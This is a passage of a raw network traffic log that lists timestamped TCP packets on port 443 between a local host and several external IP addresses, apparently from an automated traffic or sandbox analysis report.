Sep 27, 2024 05:50:54.845577955 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.845680952 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.846195936 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.891407967 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.962482929 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.962513924 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.962529898 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.962603092 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:54.962650061 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:54.962702990 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.045208931 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.045239925 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.045289040 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.045321941 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.045350075 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.045412064 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.047286987 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.047302961 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.047355890 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.047370911 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.047482967 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.131891012 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.131931067 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.131983995 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.132003069 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.132034063 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.132056952 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.132992983 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.133027077 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.133054018 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.133066893 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.133093119 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.133110046 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.133872986 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.133932114 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.133939028 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.133965015 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.133977890 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.133991957 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.134016991 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.135981083 CEST	49790	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.136009932 CEST	443	49790	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.141087055 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.141129971 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.141200066 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.141912937 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.141941071 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.145811081 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.145840883 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.145910025 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.146517992 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.146538019 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.197776079 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:55.197828054 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:55.197912931 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:55.198429108 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:55.198452950 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:55.425884962 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:55.426608086 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:55.426639080 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:55.428105116 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:55.428183079 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:55.428601027 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:55.428678036 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:55.430984974 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:55.430993080 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:55.460114956 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:55.461384058 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:55.461453915 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:55.462922096 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:55.463016033 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:55.464704037 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:55.464801073 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:55.465076923 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:55.465111017 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:55.476000071 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:55.510261059 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:55.625304937 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:55.625332117 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:55.625396013 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:55.625421047 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:55.625457048 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:55.627157927 CEST	49791	443	192.168.2.5	50.3.213.78
Sep 27, 2024 05:50:55.627178907 CEST	443	49791	50.3.213.78	192.168.2.5
Sep 27, 2024 05:50:55.669508934 CEST	49796	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.669569969 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.669641972 CEST	49796	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.670469046 CEST	49796	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.670490026 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.672286987 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.672336102 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.672404051 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.673265934 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.673291922 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.674177885 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.674201965 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.674513102 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.674987078 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.675007105 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.676808119 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.676831007 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.677098036 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.678494930 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.678515911 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.697784901 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.699649096 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.699680090 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.700165987 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.701199055 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.701289892 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.701704025 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.733028889 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.747411013 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.776654005 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.777201891 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.777215004 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.777748108 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.778172016 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.778244019 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.778745890 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.815562010 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.815592051 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.815614939 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.815660954 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.815687895 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.815706015 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.815733910 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.823394060 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.823754072 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.823851109 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:55.823921919 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.824183941 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.824273109 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:55.824310064 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.824358940 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:55.824390888 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.824446917 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.825902939 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.825927973 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:55.825973988 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.826206923 CEST	49800	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.826234102 CEST	443	49800	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:55.826386929 CEST	49801	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.826415062 CEST	443	49801	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:55.826556921 CEST	49802	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.826579094 CEST	443	49802	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:55.826874018 CEST	49803	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:55.826893091 CEST	443	49803	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:55.889192104 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:55.889219999 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:55.889298916 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:55.889360905 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:55.890119076 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:55.890142918 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:55.890208006 CEST	443	49792	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:55.890286922 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:55.890286922 CEST	49792	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:55.901319027 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.901348114 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.901426077 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.901457071 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.901473999 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.901503086 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.902808905 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.902831078 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.902882099 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.902889013 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.902918100 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.902934074 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.912168026 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.912197113 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.912244081 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.912259102 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.912305117 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.912334919 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.912348032 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.912360907 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.912381887 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.997018099 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.997076035 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.997102022 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.997107029 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.997155905 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.997566938 CEST	49793	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.997586012 CEST	443	49793	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.999355078 CEST	49804	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.999407053 CEST	443	49804	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:55.999464989 CEST	49804	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.999682903 CEST	49804	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:55.999696970 CEST	443	49804	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.001959085 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.001987934 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.002021074 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.002031088 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.002070904 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.002087116 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.003550053 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.003567934 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.003602982 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.003609896 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.003634930 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.003653049 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.094460011 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.094481945 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.094543934 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.094556093 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.094599009 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.095372915 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.095400095 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.095432043 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.095441103 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.095464945 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.095484018 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.096322060 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.096365929 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.096381903 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.096390009 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.096409082 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.096451044 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.096577883 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.096586943 CEST	443	49794	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.096599102 CEST	49794	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.172945976 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:56.173271894 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:56.173324108 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:56.174312115 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:56.174376965 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:56.201778889 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:56.202008963 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:56.202191114 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:56.202219009 CEST	443	49795	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:56.227575064 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.227830887 CEST	49796	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.227857113 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.228323936 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.228960991 CEST	49796	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.229043007 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.229115009 CEST	49796	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.241561890 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.241949081 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.249213934 CEST	49795	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:56.253118992 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.253149033 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.253597975 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.253607035 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.255175114 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.255255938 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.256169081 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.256241083 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.256875992 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.256958961 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.257601976 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.257607937 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.265348911 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.275029898 CEST	49796	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.275049925 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.282669067 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.282866955 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.282872915 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.282903910 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.283416986 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.283428907 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.284885883 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.284934044 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.285767078 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.285845041 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.286235094 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.286242962 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.297483921 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.336396933 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.336421967 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.336429119 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.346985102 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.347012043 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.347069025 CEST	49796	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.347069979 CEST	443	49796	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.347110033 CEST	49796	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.371212959 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.371239901 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.371248960 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.371262074 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.371303082 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.371304989 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.371321917 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.371346951 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.371371984 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.382713079 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.394448042 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.394478083 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.394532919 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.394541025 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.394573927 CEST	443	49798	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.394581079 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.394619942 CEST	49798	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.404484034 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.404505968 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.404517889 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.404566050 CEST	443	49799	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.404589891 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.404629946 CEST	49799	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.455599070 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.455627918 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.455677032 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.455707073 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.455728054 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.455745935 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.457070112 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.457094908 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.457139015 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.457145929 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.457201004 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.542579889 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.542606115 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.542659998 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.542681932 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.542716980 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.542730093 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.543936968 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.543956995 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.543994904 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.543999910 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.544034004 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.544773102 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.544791937 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.544830084 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.544835091 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.544861078 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.544878006 CEST	49797	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:56.590655088 CEST	443	49804	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.629122019 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.629144907 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.629180908 CEST	443	49797	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:56.629195929 CEST	49797	443	192.168.2.5	50.2.64.137
